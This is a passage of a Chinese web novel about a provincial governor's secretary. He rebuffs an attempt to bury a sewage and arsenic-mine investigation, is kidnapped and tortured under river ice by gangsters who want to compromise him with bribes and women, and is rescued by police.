董丽严肃的警告李承道:“违法乱纪,收钱办事这些事,咱一样不能干,这些贪官哪有一个好下场。” 她经常用手机看新闻,大数据也捕捉到她喜欢看法制类的视频,送给她推荐一些某某贪官被抓。 这让她心里也一直为李承担心。 “也是有好下场的,只是被没新闻报道出来而已。”李广义反驳道。 他就属于典型的反驳型人格,任何事情都要反驳一下。 “我跟儿子说话呢,你少插嘴,那不怕一万就怕万一呢,做人就要坦坦荡荡。”董丽等了李广义一眼,道。 “好,知道了妈。” 又聊了一会儿,这才挂断视频。 “看来你已经给我妈收买了,她是认定你这个儿媳了。”李承收起手机,无奈的叹了口气。 “哼,瞧你好像不是很高兴嘛,你不希望儿媳和婆婆相处得很好呀?” 许梦嘟起小嘴,得意洋洋的抱紧李承的胳膊。 “唉,这以后要是结婚了,咱俩吵架,我连家都没得回,我妈都得给我赶出来。” 李承又叹了一口气,道。 “那你就住单位呗,你们单位也有宿舍,哈哈。”许梦调皮的说。 “你忍心吗?”李承苦着脸,说。 “你都惹我生气了,我有什么不忍心的,我们川妹子,脾气可火爆得很呐。”许梦哼了一声,仰着下巴,那样子,格外可爱。 说说笑笑,两个人随便找了一家餐厅,简单吃了口饭。 吃过饭,看了电影,便直接回了家。 两个人并没有同居,只是偶尔会在一起住,所以,在一起的时候,两个人都会十分珍惜那份赤裸裸的爱。 那种爱,才是最强烈的占有与满足,是生理性和心理性喜欢的直观表达。 “喜欢我吗?” 一番激情后,许梦躺在李承的怀里,美眸上挑,望向李承俊朗的侧脸。 “不止是喜欢,是爱,很爱。”李承诉说着自己的爱意,而他,还没有意识到接下来问题的严重性。 “那跟我做,舒服吗?”许梦循序渐进的问。 “舒服。” “那是跟我舒服,还是跟她们舒服。” 许梦美眸一眨一眨,在荷尔蒙的散发下,脸蛋红扑扑的,像喝醉了酒,很是诱人。 可这一刻,李承却没有再欣赏她那盛世容颜的心情,大脑疯狂地运作起来。 这他吗的是一道送分...不,是送命题啊。 第106章 满分回答 “嗯...” 面对这个问题,李承沉吟了。 在面对一省之长的各种提问,都能从容面对的他,这一刻却慌了手脚。 答跟许梦更舒服? 这是个错误答案。 许梦接下来就可能会说,那就是跟别人,也很舒服呗? 或者,那你就是喜欢我的身体呗? 等等.... 要是说,跟别人没感觉。 那简直就是谎言中的谎言,许梦会不会信先不谈。 但她可能会问:那你没感觉,为什么还要跟别人做? 至于说,跟许梦没有跟别人舒服。 那就是找死一样的回答,可能许梦会直接丢下一句:跟谁舒服你就找谁去。 然后,摔门离开。 无论怎么回答,李承都是破绽百出。 面对这种情况,就只能剑走偏锋,走别人的路,让别人无路可走! “你是不是找茬呀?”李承反问。 他这一问,让许梦也愣了一下。 她想了千百种李承可能的回答,完全没想到李承会这种答。 对此,她心里也有些不高兴了。 可没等她开口,李承紧接着又说:“我有没有跟你说过,你是我唯一爱的女人,以前的人,顶多算是喜欢,而你是爱。 爱,你懂吗? 就是在我心里,你的存在胜过于我自己。而其他人不是,其他人从未凌驾过我的自由意志之上,你不一样。 你是偏爱,是无论有任何与你相关的决定,你都是我唯一的选择!” 李承目光坚定的看着许梦的眼睛,语气真挚。 这番甜言蜜语让许梦心里开心了不少,而李承也乘胜追击,翻身将许梦紧紧抱在了自己的怀中,吻上了她的唇。 “你知道吗?一直以来,我都觉得偏爱是这个世界上最好的爱,我想用这种爱去爱你。” “宝宝,我爱你。”许梦心头一暖,有些被感动。 她紧紧抱住了李承,去拥吻他。 看到许梦的反应,李承长舒了一口气,知道自己逃过一劫。 作为省长的秘书,揣测心思是必要本领。 他知道,许梦的问题,并非那么浅显,而是想要得到自我肯定。 想要知道她在李承心中,对比以前的女朋友,是什么位置。 而李承给出了她满分的回答。 每个人都想成为唯一,成为偏爱。 李承的话,有一部分是为了哄许梦开心,大部分却是事实,他真的爱上了许梦。 ..... 周一,李承将张家屯污水问题,汇报给了孟良德。 “昨天的东江问政我也看了,事关百姓的健康,绝对不能忽视,你通知办公厅,明天我要亲自去张家屯视察。”孟良德说。 “好的省长。” 李承给孟良德沏茶倒水后,离开了办公室。 周一,是孟良德工作最繁忙的一天。 省委常委会议也会在周一召开,孟良德抽不开身。 跟办公厅汇报情况,一来,是让办公厅将省长明天的工作取消,往后顺延。 二来,也是让下属各级单位提前准备,给足配合省长工作的反应时间。 《东江问政》节目的热度现在非常高,报道的新闻事件,从来不是个人事件,都是群体事件。 更能引起广大群众的关注。 省长的工作很繁忙,孟良德决定亲自去视察,也是为了曝光度和流量。 不然的话,像这种事情,吩咐市长,乃至于县级领导去处理,在孟良德的重视和施压下,也能取得满意结果。 一般情况,像孟良德这个级别的领导,都喜欢隐居幕后,不愿抛头露面。 孟良德频频出现在公众面前,不是他好大喜功,喜欢展示自己的能力,突出自己体贴民情的理念。 而是为了能够在东江省站稳脚跟。 东江省的政治格局,并没有表面的风平浪静,背后暗流汹涌。 作为空降派,孟良德的根基薄弱。 而他本人,又属于那种不合群的人,上台之后就开始了一系列大刀阔斧的举动,已经触碰了一些本地派的利益。 所以,他需要曝光度。 百姓的认可,可以成为他的一张护身符。 跟杨兆华打好招呼,李承又去综合一处开始部署工作。 综合一处主要是服务于省长孟良德,明天孟良德去张家屯,他们也要开始做出准备。 时间,路线,相关数据资料,以及省长的随行人员等,都需要综合一处协同配合。 ‘我的爱如潮水,爱如潮水将我向你推...’ 中午,李承正在食堂吃饭,电话响了起来。 来电显示:刘保国。 他怎么想起来给自己打电话了? 刘保国是审计局的副局长,算是李承的老领导,两人一直是面和心不和,对方支持的,一直都是李承曾经的死对头陆涛。 对方是在工作之外的时间,打的还是私人电话,谈论的肯定不是工作,对此,李承是不想接的。 心中不想,但他还是接听了。 已经离开了审计局,自己也没必要得罪这个人。 不接,还容易被人诟病,说他成了省长秘书就摆官架子。 “刘副局。” “李秘书,没打扰你工作吧?”刘保国笑呵呵的问。 “不打扰,刘副局有什么事吗?”李承语气冷淡的问。 “没事,就想着咱哥俩有日子没在一起聚一聚,晚上有时间吗?我想请李秘书吃个饭,一起叙叙旧。” 刘保国发出邀请。 对方向来是铁公鸡,一毛不拔的主。 主动请自己吃饭,李承觉得,也是黄鼠狼给鸡拜年,没按什么好心。 “我...” 正当李承准备找理由拒绝时,刘保国再次开口打断了他。 “晚上我还叫了宋姐,宋姐也说很久没见到你了,想看看你。” 刘保国知道李承不能给他面子,所以,另辟蹊径。 “好,晚上给我发位置。”李承没再拒绝。 宋姐是审计局的老员工了,现在已经退休。 李承在审计局工作这么多年,他认为自己就交下来两个人。 一位是老领导杨兆华,另一位就是宋姐。 杨兆华属于是李承的伯乐。 而宋姐则算是李承审计工作中的师父,从李承进入审计局开始,就是宋姐带着他工作。 宋姐为人严厉,属于眼里容不得沙子的人,但她对李承很好,也有一颗细腻的人。 她是李承参加工作接触的同事里,唯一能记得起李承生日的人。 参加工作的第一年,也是李承与秦虹分手的那一年,那年的生日他记忆犹新。 他孤单单一个人,心情很凄厉。 是宋姐请他到家里吃饭,给他过生日,那种雪中送炭的温暖让李承感激至今。 第107章 当枪使 晚上。 牡丹会餐厅。 李承走进大厅,大堂经理就立马笑脸相迎:“李哥,您来了。” “你认识我?” 李承只是他的招待宴上,在牡丹会吃过一顿饭,并非常客。 当然,以他这个身份,想要招待他,宴请他到牡丹会用餐的老板和官员数不胜数。 那些老板的邀请,李承直接拒绝。 那些人请他,一定是有目的的接触,李承不会给这些人办事,也不想吃他们一顿饭。 至于官员请客,有时候碍于对方身份,要给面子。 但李承也从不会挑选在牡丹会,就算对方选在这里,李承也会拒绝。 这种高档场所,总在这里用餐,不利于自己的形象。 今天是特例。 因为宋姐已经提前到了饭店,刘保国才通知的他,所以没办法改变。 而且,偶尔来这里吃一顿也无碍。 所以,李承很好奇对方是怎么认出来他的。 “李哥是贵客,我们陈总特意吩咐过。”经理微笑说道。 原来是陈锋的吩咐,那就不奇怪的。 陈锋这个人,就是一个心思细腻,擅长讨好领导的商人。 “去凤凰阁。” “您这边请。” 李承说出包厢名字,经理立马带路。 “宋姐。” 进入包厢,李承亲切的跟宋姐打招呼。 “我还以为你给我忘了呢。” 宋姐坐在位置上,淡淡的说了一句。 李承知道,这是宋姐在跟她开玩笑,回答道:“忘了谁,也不会忘了宋姐您啊。” “哈哈哈,你小子还是这么油嘴滑舌。” 宋姐板着的脸露出笑容,关心的问:“听说你给孟省长当秘书去了,怎么样,工作累不累。” “还行,比以前忙了。”李承说。 “在省长身边做事,可不比在审计局,什么事情都要格外谨慎,不能毛手毛脚的,你那三心二意的毛病得改。” 宋姐认真的叮嘱道。 刚参加工作时,李承确实总犯错,都是宋姐给他收拾烂摊子。 “知道了宋姐。”李承笑着说。 宋姐并没有因为自己的身份改变,而有任何的攀附之意,这才是纯粹感情该有的样子。 “宋姐,你退休这么久了,不了解现在的李秘书,他在去当秘书前,就是咱审计局的骨干力量,几乎没出过错。”刘保国笑呵呵的附和道。 “那也正常,我退休了,杨局也去了市委,他再犯错,你们可未必能轻饶了他。” 宋姐点了点头,在回应刘保国时,语气冷淡了几分。 她对刘保国的印象也一般,就是普通的同事关系。 今天要不是刘保国说李承会来,她想着李承工作繁忙,平时不好见,也不会答应刘保国的邀请。 “还是宋姐了解我。”李承苦笑道。 宋姐这话是说到了李承的心坎里。 自从宋姐退休,杨兆华也调走,李承作为上任局长的心腹,自然会受到一定的打压。 正如宋姐所言,如果他犯了错,刘保国那些人不会轻饶。 一番寒暄后,服务员也开始走菜。 “吃饭吧。” 宋姐年长,她不动筷,李承也不会动筷。 于是,她拿起筷子,准备夹菜。 但这时,刘保国却出言打断了宋姐:“等等宋姐,还有一位朋友没有来。” “还有人?” 宋姐眼眸一凛,她多年官场的直觉,让她意识到了自己可能被刘保国当枪使了。 “马上就到了...来了。” 刘保国尴尬的笑了笑,正好,目光看到了推门而进的人,连忙起身。 李承也将目光看向门口。 在看到来人时,顿时脸色阴沉。 赵金福! “赵书记,您来了。”刘保国谄媚的迎了上去。 赵金福只是微微点了下头,便一脸笑容了走向李承:“李秘书,我们又见面了。” “嗯。” 对于这位检察院党组副书记的到来,李承压根没给对方面子。 甚至连表面工作都懒得做。 李承本来就看他不爽,他还背后捅刀子,到杨兆华那里去告自己的状。 “李秘书,知道你过来,我特意拿出了家里珍藏多年的好酒,今晚咱们一醉方休。” 对于李承的冷漠,赵金福心里不爽,脸上还是面带笑容。 毕竟有求于人,他也没办法。 “算了,我不喜欢喝酒。”李承演都懒得演,直接敷衍。 李承也看出来了。 刘保国今天请他吃饭,完全就是赵金福授意。 但刘保国知道自己请不动李承,才叫来的宋姐。 宋姐也看出了这一点。 并且,她也通过李承的态度,知道李承很讨厌赵金福这个人,于是她直接起身。 “我还有事,先走了。” 宋姐说完,直接站起身。 她知道,她不走,李承碍于她的面子也不好意思离开。 她一个退休老太太,压根不怕得罪赵金福。 “外面路滑,我送你宋姐。”李承也起身,借坡下驴找借口离开。 看到李承准备走,赵金福强压心中愤怒,挡在了李承的面前:“李秘书,以前的事情就让它翻篇吧,都是同志,而且我跟你们杨秘书长的关系也不错。” “赵副书记,你有什么事情吧?”李承问。 他也想知道,对方找自己是为何事。 “张家屯的污水问题,我想着能不能不要继续报道跟踪了,毕竟这件事对社会影响不好,容易引起群众恐慌。” 赵金福说。 “这事,跟赵副书记也有关系?”李承淡淡的问。 赵金福可没有那么好心,会关心群众反映,他找李承,一定是此事与他的利益挂钩。 “没关系,我只是想说,都在官场上工作,你也不能保证自己和自己身边人一辈子与公检法不沾边吧。” 赵金福见李承的态度,就知道对方不会帮自己的忙。 所以,他收起了伪装,言语中带着威胁之意。 “赵副书记,我的事情就不劳烦你操心了,就怕你玩了一辈子的鹰,最后被鹰啄瞎了眼睛。” 李承丢下这句话后,迈步离开。 自从东江问政播出后,他其实就想过靠着节目流量,给赵金福一些教训。 在信封部门,他也查到了一些关于检察院的举报信,可能赵金福有关。 只是马洪波书记强调过,问政节目不过问公检法部门,所以,他也只能收起这个心思。 但没想到,赵金福居然与张家屯的污水问题沾边! 算是自己送上了门。 第108章 劫持 “这个刘保国真是气死我了。” 走出牡丹会的门,宋姐义愤填膺:“这是拿我给他当枪使,怪不得这么好心叫我吃饭,黄鼠狼给鸡拜年。” “姐,别跟这种人一般见识。”李承劝道。 “我倒没什么,主要给你添麻烦了。”宋姐说。 她知道李承的身份今非昔比,想要找李承办事的领导排成长队,要不是因为她,李承不会来。 “没什么,好久不见宋姐了,我也想跟你吃个饭。” 李承说着,对宋姐发出邀请:“姐,你有什么想吃的,我请你。” “我这退休工资都花不完,你小年轻,还需要攒钱,不用你请。” 宋姐摆了摆手,继续说:“我儿媳妇开了一家火锅店,咱们去那吃火锅吧,吃好了,你以后领同事多去捧捧场。” “行,宋姐。” 李承了解宋姐的性格,也就没继续勉强。 人与人间的相处不在一朝一夕,而这种感情,更无需太过于计较多与少。 “谈没谈女朋友呢?”宋姐八卦的问。 “谈了。” “叫过来一起吃饭呀,正好给姐看看你眼光怎么样。”宋姐笑呵呵的说。 “她晚上上班,现在在单位。”李承说。 “什么单位的员工?”宋姐问。 听到晚班,宋姐心里也有些慌,她怕李承找的女朋友,是在夜店场所工作。 “你应该会认识。” 想到许梦,李承嘴角不自觉流出笑容。 人都有虚荣心,想到自己女朋友是现在知名的新闻女神,宋姐听了一定会替他高兴。 “啊?咱们单位的?陈思琪吗?” 宋姐本能想到的人,就是陈思琪这个小丫头,因为她跟李承关系走得近:“李承,不是姐管闲事,陈思琪这小丫头不行,不是过日子的人。” 陈思琪刚进入审计局没多久,宋姐就退休了。 两个人的相处时间虽不多,慧眼识人的宋姐,却看透了陈思琪。 在她眼里,陈思琪就是那种爱慕虚荣,会阿谀奉承的两面派,只会陪男人享福,不会陪男人吃苦的。 “不是他,是许梦。”李承解释。 “许梦,这个名字听着是耳熟呀....”宋姐沉思,思索着许梦是谁。 “就是晚间新闻的主持人。”李承解释说。 “哦,是她呀,这姑娘人漂亮,声音也好听,性格品性什么样,那就得你自己考量的。 处对象怎么都行,但过日子一定要慎重,这是你唯一挑选亲人的机会,选不好,一辈子就可能毁了。” 宋姐叮嘱李承后,也感叹一句:“我就是选错了。” 她是过来人,这些年,她也见证过不少身边人的悲惨婚姻。 而她,也是婚姻不幸的人。 为了孩子,只能勉强将就自己把日子过下去,她是一个好母亲,却并没有做一个好的自己。 没有活出自我。 “知道了宋姐,许梦人很不错,温柔,善解人意。” 对李承来说,能与许梦相爱是一件很幸运的事情,在他眼里,许梦满足了完美妻子的标准。 “哪天有时间,叫过来让我看看。” “行。” ..... 在宋姐家的火锅店吃完饭,李承打车赶回了家。 一路上,他都在跟许梦通电话。 “宝宝,我真的好想你啊。”许梦温柔地向李承撒娇。 “有多想我?”李承付完车费,笑着问。 “嗯...就是脑子里无时无刻都在想,因为想你,今天录节目的时候都说错了好几个字。”许梦说。 “看来又要被罚款了吧?我给你报销。”李承道。 电视台对新闻播报节目的主持人管理很严格,说错字是要罚款的。 “没罚款,自从赖台长知道我们的关系后,就再也没罚过我的款。”许梦解释说。 赖八法这么做,是给李承的面子。 “嗯,我也马上到家了,你困了吧,早点休息。”李承走到单元门口,拉开防盗门,准备进入。 “有点困了,我想等你到家,跟你视会频再睡,我好想你。”许梦可怜兮兮地说。 “好啊。” “李秘书是吧?” 刚走到家门口,李承正准备掏钥匙开门,两个彪形大汉突然从后面出现,堵住了李承。 还不等李承讲话,其中一个人夺下李承的手机,挂断了通话。 “你们是什么人?”李承见对方来者不善,冷声问。 “你别管我们是什么人,我们大哥要见你!” 说着,两个人直接架起李承,朝楼下拖去,其中一个人为了防止李承大喊,拿出刀顶住李承的腰:“敢叫就捅死你!” “我自己会走。” 李承清楚自己斗不过他们,故作镇定。 下了楼,两人将李承推进一台面包车的后排。 后面还有三个混混,李承刚上车就把李承给控制住。 那两名大汉则分别坐到了主副驾驶。 面对这种情况,说不害怕是假的,他也不知道接下来要见什么人,面临什么事。 可他只能让自己保持冷静。 “兄弟,我知道你们也是帮别人办事的,都不想把事情搞大,把我的手机给我,我给我女朋友报个平安....” “不行!” 李承的要求直接遭到了对方的严厉拒绝。 ‘我的爱如潮水,爱如潮水将我向你推...’ “你们刚才也看见了,我在跟我女朋友通电话,她这个人心思敏感,如果我不跟她说一声,她一定会报警。” 听着手机铃声一直在响,李承开口道。 他不想让许梦担心。 “嗯...那行吧,你可不要乱说,否则,整死你!” 副驾驶的大汉拿刀指了指李承,放下狠话后,这才将手机丢了过来。 李承接起电话,那边传来许梦焦急的声音:“喂,李承,你怎么了?” “我没事,放心吧,几个老家的朋友来找我,跟我开的玩笑。”李承编造了一个理由,安抚她。 “那我要跟你视频。”许梦要求道。 女人的直觉告诉她,李承可能遇到了什么危险。 “我跟朋友们出去喝点酒,唠会嗑,你听话,先睡,好不好。”李承安抚她道。 “你真的没事吗?”许梦还是放心不下。 “我能有什么事,我可是孟省长的秘书,在整个东江省,谁会那么不长眼睛呀,哈哈哈。” 李承尽量让自己语气显得更加轻松自然。 “嗯,好吧,那你早点回家,记得给我留言。”许梦这才将信将疑的答应。 “嗯,好的宝宝。” 第109章 寒冷的冬天 面包车离开了市区,停在了一个江坝旁。 几个混混将李承压下车后,带着他来到江边。 现在是十二月,江面已经结成了冰,路面上还有积雪。 此时的江边旁,有一个穿着绿色军大衣的男人,正在一个冰窟窿边钓鱼。 在他的身后,还站在两名身穿黑色貂皮衣的壮汉。 离远看,像两只黑熊瞎子成精了。 “大哥,人带来了。”一名混混汇报道。 “嗯。” 男人应了一声,不紧不慢地放下手中鱼竿,从小马扎上站了起来。 “李秘书,你好呀。” 男人脸上有一条长长的刀疤,看起来狰狞可怖。 尽管他对李承笑,李承都觉得这人下一刻就会掏刀子。 “你找我?”李承平静的问。 “嗯,抽根烟。” 男人拿出中华香烟,递了一根给李承。 李承并没有接。 男人笑了笑,将烟叼在嘴里,用手挡着风,点燃了烟。 “你们这群当官的,在办公室坐久了,脑子也呆傻了,自己什么处境不知道吗?还他妈的给脸不要脸。” 男人轻蔑地骂了一句。 自从李承上任孟良德的秘书后,没有人敢怎么对他讲话。 “找我什么事?”李承问。 自从在陈志伟的办公室里走过一遭,面对这种江湖人,他也能从容一些。 “找你呢,就是想跟你商量一件事,听说明天孟省长要去长廷县张家屯查雄黄矿。 采矿的已经县公安控制起来了,事情到他那里就打住,不要再往上查了。” 男人吐出烟雾,直接挑明主题。 李承看着男人,眉头不禁微微皱起,又是跟雄黄矿有关! 这算先礼后兵吗? 前脚赵金福刚约完李承,李承没有给他面子,紧接着就有人出手挟持他。 “你们找错人了,孟省长要查下去,我一个秘书能拦得住吗?”李承推卸道。 “只要李秘书肯帮忙,就一定有办法。”男人淡淡的道。 这话倒是没错,李承只要找到合适的时机,在一定程度上的开口,会影响到孟良德的决策。 也能利用信息差,帮助他们打掩护。 但李承并不想这么做。 看着李承陷入迟疑,男人转过身,朝着钓鱼的方向走去。 鞋子踩在雪地上,发出‘咯吱咯吱’的声音。 “看来李秘书并没想好要不要帮忙,那就先在这里好好想想。” 男人背对着李承,丢下这句话:“晚上的温度不错,别热到李秘书。” 他的话说完,几名混混将李承包围。 开始去扒李承身上的衣服。 “别碰我!” 任由李承如何反抗,毕竟双拳难敌四手。 刚才李承穿着棉服,从车上下来这么一小会儿,就已经被寒风吹透。 现在,被扒去外套,李承感觉整个人都要被冻僵。 可对方并没有作罢,直至让李承上半身赤裸,才肯罢休。 站在冬季的咧咧寒风里,李承一个劲地打着冷颤。 他没想到对方敢胆大包天到如此地步,连他这位省长秘书都敢动。 “我答应帮你。”李承冲着男人喊道。 不答应他们,就没办法离开。 不如先用缓兵之计脱身,至于帮不帮,那就是后话。 可对于李承的答应,对方却无动于衷,仿若没听闻,继续钓着鱼。 “我说了,我答应你。”李承再次大喊。 对方却依旧充耳不闻,装聋作哑。 李承清楚,对方这是在给自己下马威。 他双手抱着身体,蹲在地上,靠着这种方式取暖。 面对这么多人,跑是跑不掉的,没有男人的命令,那群混混也不可能给他衣服穿上。 “大哥厉害啊。” 大概十几分钟后,李承感觉身体已经被冻僵,整个人的脸上也没有了血色。 那边才传来一个小弟的讨好声。 李承抬起头看去,男人在冰窟窿里钓上来了一条鱼。 放下鱼,男人再次点燃了一根香烟,冲着李承这边招了招手。 几个小弟会意,将李承推到了男人面前。 “李秘书,你刚才是跟我说话了吗?钓鱼太专注了,没听见。”男人装模作样的歉意一笑。 “我说,我答应你。” 李承此时已经冻到牙齿打颤,艰难的说。 “李秘书,你说你何苦呢?早这么识相哪有遭罪呀。” 男人满意一笑,冲着自己的小弟投去一个眼色。 很快,一名小弟拿着一个手提箱赶了过来。 他当着李承的面,将手提箱打开,里面装满了现金:“李秘书,这是五十万,你的报酬。” 李承看了看手提箱中的钱,转过头去,又看到了一名混混正在录像。 他知道,对方并不相信他的缓兵之计,准备拉自己下水。 “嗯。” 李承抬起冻到发僵的手,接过了手提箱。 “哈哈哈,不错。” 男人见李承如此识相,满意大笑。 他站起身,伸手搂住了李承的肩膀:“走,我带你去房车里暖和暖和。” 李承点了点头。 迈开脚,跟着他走向不远处的一台房车。 他感觉自己的血液都快被冻住,急需一个温暖的地方。 走进房车,里面的温度适宜。 温度的极大反差,让李承顿时感觉到一阵温暖。 可当他的目光看到房车内的景象时,心中大惊。 车里有一张床,床上坐着两个一丝不挂的美女。 两哥女人长得都很漂亮,各个身材火辣,丰满性感,可李承压根没有心情欣赏她们的美色。 “你们两个,好好服务一下李秘书。”男人吩咐道。 “好的老板。” 两个女人应了一声,扭着屁股朝李承走来。 “李秘书,外面很冷吧,我帮你暖暖身子。” 其中一个女人直接抱向李承,准备用她的躯体,来帮李承暖身。 见状,李承直接伸手挡住了对方,呵斥道:“滚开,离我远点!” 收了钱,李承还能主动上交纪委,有孟良德给他做担保,不会有任何的影响。 但如果今天李承跟她们两个人发生了关系,还被录了像,那就将彻底被拉下水。 就算他主动去纪委解释,就算纪委的同志也相信他是被迫的,但这种恶劣影响,也会毁了他的仕途和与许梦的感情。 他将从人生的光辉时刻,跌入谷底! 这种比让李承冻死在外面,更无法接受! 第110章 生死一线 “李承,你收陈志伟手表的事情,我不想再发生一次,你没有选择!”男人看着李承不知好歹,怒声呵斥。 陈志伟一事,也给男人提了醒。 他知道,让李承收钱并不能彻底拉李承下水,只有让李承沾了女色,彻底断绝任何洗脱的可能,李承才会屈服的帮他办事。 “一锤子买卖,你帮了我,钱你拿走,女人你睡了,以后咱们两清!”男人继续腐化着李承。 “别做梦了,我宁可冻死,也不会向你屈服!”李承咬着牙,坚定的说。 李承压根不相信这是一锤子买卖。 对方拿到了李承的把柄,怎么会善罢甘休? 李承这次帮了他,以后遇到其他事,对方还会用视频作为威胁,直到彻底榨干李承的价值为止。 李承不可能向对方屈服。 这不仅仅是作为党员,该坚守的底线,也是为了他自己的未来。 “好啊,老子就他妈的喜欢你这种硬骨头,今天,老子就看看你的骨头有多硬!” 男人怒声说完,扯拽着李承下了车。 李承想要反抗,可四肢已经被冻僵,根本不听使唤。 “拿绳子来!” 男人一边将李承向江边拖拽,一边对手下大喊。 很快,一根绳子就送了过来。 在男人的手指示意下,几个混混配合,将绳子捆绑李承的小腿位置。 “放开我,放开!” 李承也意识到了对方想要做什么,拼命地挣扎。 可他的肢体已经被冻僵,根本无法挣脱几个人的控制。 “我是省长孟良德的秘书,你们敢动我,谁都跑不了!” 情急之下,李承只好搬出自己的身份,想以省长的名头恐吓他们。 但这群人,都是刀尖舔血的混混,就是靠着违法犯罪谋生,李承的呵斥根本没用。 迎接李承咆哮的,只有男人冷冷的两个字:“沉江!” 在他的命令下,混混们扯拽着李承,走到刚刚男人钓鱼的冰窟窿位置。 男人伸手抓住李承的头,直接将他的脸按进了冰水之中。 接触的瞬间,刺骨冰冷的水让李承整张脸都麻木下去。 但他的脑袋,却在冰水的刺激下,格外清醒。 一股前所未有的恐惧,在心中翻腾。 原本,李承是笃定对方不敢真的将自己冻死在这荒郊野岭。 他是孟良德的秘书,他的失踪会引起省里高度重视,这群混混谁都不可能跑得掉。 李承认为,他们之间并没有不共戴天之仇,不至于让对方宁可背上死刑,也要将自己置于死地。 可在实打实的死亡威胁下,李承对于自己的判断变得迷茫起来.... 就算这群人不敢弄死自己,可万一出现了意外呢? 真的要拿自己的命赌吗? 种种想法在李承的大脑里翻滚,他怕了。 男人在将按了李承将近一分钟后,将李承的头拽了出来。 出了水面,冷风一吹,仿佛无数把利刃割开了他的皮肤。 ‘呼呼...’李承大口大口地喘起粗气。 “老子再问你最后一遍,女人你睡,还是不睡?”男人眼神杀气迸射。 那种阴狠的目光让李承觉得,如果自己回答一个‘不’字,下一秒等待自己的将会是死期。 他的信念开始动摇了。 跟自己的性命比起来,其余的东西真的重要吗.... 重要! “我....我睡你妈,把你妈叫来给老子睡啊!”李承一口水吐在男人的脸上,怒骂道。 “诚心找死是吧?” 男人抹了一把脸,愤怒至极。 他再次将李承的头按进了冰窟窿里。 “弄下去!” 在男人的命令下,身后小弟将李承的双腿一推,李承整个人顺着这个冰窟窿就滑了下去。 当全身浸泡在冰冷的江水中时,李承感觉自己全身都僵硬了。 那种冷,用刺骨来形容,都不足以。 在他的眼前是一片漆黑,如同掉入了一个虚无的空洞之中,那种极度黑暗带来的恐惧,让李承觉得自己接近死亡。 他会一点游泳,想要试图挣扎,可双腿却被捆绑住,只能等待死神的降临。 懊悔,悲痛,愤恨,绝望.... 氧气的匮乏让他渐渐有些头脑发晕,身体上的冰寒也不再那么明显,他感觉,自己的意识和生命已然在慢慢离开自己.... 父母的笑容,许梦的温柔,孟良德的严肃,以及童年时的回忆,在大脑里像一个纪录片,快速播放。 画面却在慢慢变得越来越淡,越来越虚... 正当他已经陷入绝望时,他感觉捆绑在双腿的绳子在用力将他朝外拖拽。 这一动作,让李承重新燃烧起生的希望。 比死亡更可怕的,是没有希望的等死。 但希望来临之际,或许是肾上腺素的飙升,让李承的大脑再度提起精神。 他清楚,对方不敢杀他,这是要拉他上岸! 很快,在几个小混混的合力扯拽下,李承从冰窟窿里被拉了上来。 ‘咳咳咳....’ 上岸的那一刻,他将口中呛进去的水,用力咳了出来。 “睡还是不睡?” 男人拉起李承的头,凝视着李承的眼睛,问。 李承还想开口骂他,可此时的李承已经虚弱到极点,只能用口型勉强挤出三个字:“睡你妈!” 经历了刚刚的濒临死亡,李承心一横,什么都不怕了。 人死鸟朝天,不死万万年,爱咋咋地。 北方爷们,就他吗的不服! 男人看懂了李承的口型。 一股前所未有的怒火在他胸口燃烧,可他也有些无奈。 如果李承只是一个普通人,他会想尽一切让李承生不如死。 可李承毕竟是孟良德的秘书,无论是弄死,还是搞残,他都不敢! 他只想通过这种极端的方式让李承妥协,只要李承妥协了,拍下了视频,今天对李承的所作所为,都可以平账,他也能安然无恙。 无奈中,男人对李承也有一些佩服。 这种屈打成招的事情,他干过很多起,李承是唯一扛下来的。 ‘铃铃铃...’ 就在男人想办法继续搞李承时,他的手机响了。 “喂。” 接起电话,也不知道对方说了什么,男人脸色阴沉了下来,回了一句:“知道了。” 第111章 担忧 “把衣服给他盖上,警察要到了,撤!” 挂断电话,男人站起身走向自己的房车。 他也怕李承真的冻死在这里,那样的话,他也必死无疑。 李承死了,不用警察动手,他背后的老板也不会让他活! 小弟接到命令,将李承的棉袄盖在他的身后,匆匆离去。 躺在冰冷的雪地里,李承看着天上的星空,意识也渐渐模糊。 “李承!” 不知道过了多久,好像是几天,又好像只有短短的几秒,身边传来许梦焦急的呼唤。 他努力的睁开眼睛,发现自己还躺在雪地里。 周围闪烁着红蓝色的警灯。 远处,许梦哭泣着朝自己跑来,因为过于焦急,脚底一个不稳,重重摔在地上。 她不管不顾的爬起身,再次朝着李承跑来。 “李承,你怎么样,你不要吓我....” 许梦蹲下身,将李承的头抱在自己怀里,焦急的哽咽着。 李承可以清楚感受到一滴滴仍有温度的泪水,顺着许梦的脸颊滑过,低落在自己脸上。 “我没事。” 李承极其虚弱的安慰她。 “先送他去医院。” 宫庆鑫也赶到两人面前,对身边人吩咐。 紧接着,李承被两名警察抬到担架上,在许梦的陪同下,上了救护车。 不久前,在挂断与李承的电话后,许梦就察觉到李承的异常。 李承为了给她足够的安全感,往常除了工作问题,见任何朋友都会给她报备拍照,让她安心。 可今天,李承却在电话结束后,对她的任何消息置之不理。 异常的情况,和她的直觉告诉她,李承出事了。 于是,她果断报了警。 若是放在普通人身上,对于这种没有根据的猜测,成年人会在失联二十四小时后,公安才会受理。 李承的身份不同,他是省长的秘书。 在得知李承身份后,接警人员层层上报到了局长宫庆鑫。 在宫庆鑫的指挥下,警方不仅定位了李承的手机,还通过监控找到了绑走李承的车,以及开车的嫌疑人。 又通过人脸识别的大数据,定位嫌疑人的手机,双重定位确定下,宫庆鑫亲自出警,还联系了急救中心,派来救护车。 确保万一李承受到伤害,能够第一时间进行就医。 而李承所享受的特权,皆来自于他的身份。 ..... 李承发了一晚上的高烧,第二天清晨才退。 当李承睁开眼睛,外面的天已经蒙蒙亮。 “你醒了。” 许梦关切的询问李承。 她满是疲惫的眼睛里,有几分欣喜。 “你一宿没睡?”李承轻声问。 “嗯,你刚退烧,我不放心你。” 从昨晚到现在,许梦一宿都没有合眼,一直陪在李承身边。 “几点了?”李承问。 他只是受寒,身体并没有其余的创伤,输了液,又休息了一晚,感觉也恢复了不少。 “凌晨五点。”许梦看了一眼手机上的时间,道。 “我没什么事了,宝宝,你也眯一会儿吧。”李承挤出一个微笑,说。 患难见真情,许梦的付出,他看在眼里,心里很感动。 李承有单独的病房,旁边有空床位,可以让许梦休息。 “我没关系,不累。” 看到李承清醒过来,许梦的泪水湿润了眼眶,她强撑着不让眼泪流淌下来。 “哭什么,怕我死呀。” 李承抬起手,擦了一下她眼角的泪,玩笑的说。 “呸呸呸,不许你说死字!” 